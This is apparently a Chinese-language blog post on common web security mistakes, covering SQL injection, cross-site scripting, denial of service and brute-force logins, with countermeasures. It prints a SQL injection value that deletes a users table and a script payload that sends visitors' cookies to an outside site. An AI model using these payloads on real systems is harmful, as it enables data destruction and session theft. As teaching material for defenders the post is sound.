在平时的编程中,我们常常会忽略一些重要的安全隐患,今天整理如下:
1.SQL注入攻击
服务器端程序有时希望接受客户端输入并且将他作为查询的一部分
例如:一个接收用户名的登录界面可能执行以下代码:
sql=select * from users where username=?
如果客户端输入以下字符串作为用户名
a';delete from users;
sql=select * from users where username=a';delete from users;
如果这条语句被执行,那么users表中的数据就会被删除
对策:
1.禁止输入特殊字符,如百分号,单引号,双引号
2.禁止输入敏感字符,如update,insert,delete
3.对特殊字符进行转义
2、跨站脚本攻击
假设有个留言板,你输入如下文字:
<script> document.location="http://myside.com/xx.jsp?cookies="+document.cookie </script>
这相当于在留言板网站的源程序中加入了JavaScript代码。
当其他客户查看这条留言的时候,浏览器就会在后台把这个客户端浏览器的cookie发送到myside.com网站。
这个网站只要设置接收程序就可以通过cookies变量获得该客户的cookies信息
如果上述文字从数据库中取出来的,也会有同样的结果
对策:
1.在界面输入中,禁止输入脚本
2.在把数据存入数据库之前,以及从数据库取出数据后,进行html转义
3.拒绝攻击
1.上传非常大的数据或文件可以很快地填满数据库
2.短时间内上传大量数据或文件也可以填满数据库,使系统无法运转。
攻击者可以在短时间内用大量的下载访问请求来堵塞服务器,使之没有空闲处理合法客户的请求。
4.暴力攻击
假设一个登录页面。攻击者可以编写代码,简单地加入一个循环来尝试用不同的用户名/密码登录,获得合法客户身份